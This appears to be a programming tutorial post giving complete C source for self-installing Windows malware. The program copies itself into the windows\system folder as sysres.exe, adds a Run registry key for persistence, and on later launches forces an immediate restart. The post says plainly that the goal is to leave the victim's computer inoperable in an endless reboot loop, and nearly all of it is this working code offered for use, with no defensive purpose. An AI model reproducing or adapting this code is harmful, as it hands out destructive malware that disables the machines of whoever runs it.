Write a C program to inject virus to restart PC

C program to inject virus  to restart PC


Write a C program to inject virus to restart PC . C Program to restart your computer: Here’s a Simple C program to inject virus to restart PC in C Programming Language.

In this post, I will show you how to create a virus to restart pc at every startup. That is, upon infection, the computer will get restarted every time the system is booted. As a result, the computer will become inoperable as it reboots again as soon as the desktop is loaded.

For this, the virus needs to be executed only once and from then on, it will carry out rest of the operation on its own. I have programmed this virus using the C language. If you are familiar with the C language then it is too easy to understand the logic behind the coding.


Below is the source code for C program to inject virus to restart the computer which is successfully compiled and run on Windows System to produce desired output as shown below :


SOURCE CODE : :


#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;
char buff[128];

void findroot()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst("C:\\windows\\system",&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst("C:\\windows\\system\\sysres.exe",&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}

done=findfirst("D:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("D:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=2;
return;
}

done=findfirst("E:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("E:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}

done=findfirst("F:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("F:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);

}

int main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],"rb"); //The virus file open's itself
switch(drive_no)
{
case 1:
target=fopen("C:\\windows\\system\\sysres.exe","wb");//to place a copy of itself in a remote place
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d C:\\windows\\system\\sysres.exe");//put this file to registry for starup
break;
case 2:
target=fopen("D:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d D:\\windows\\system\\sysres.exe");
break;
case 3:
target=fopen("E:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d E:\\windows\\system\\sysres.exe");
break;
case 4:
target=fopen("F:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG_SZ \/d F:\\windows\\system\\sysres.exe");
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system("shutdown -r -t 0");//if the system is already infected then just give a command to restart
return 0;
}

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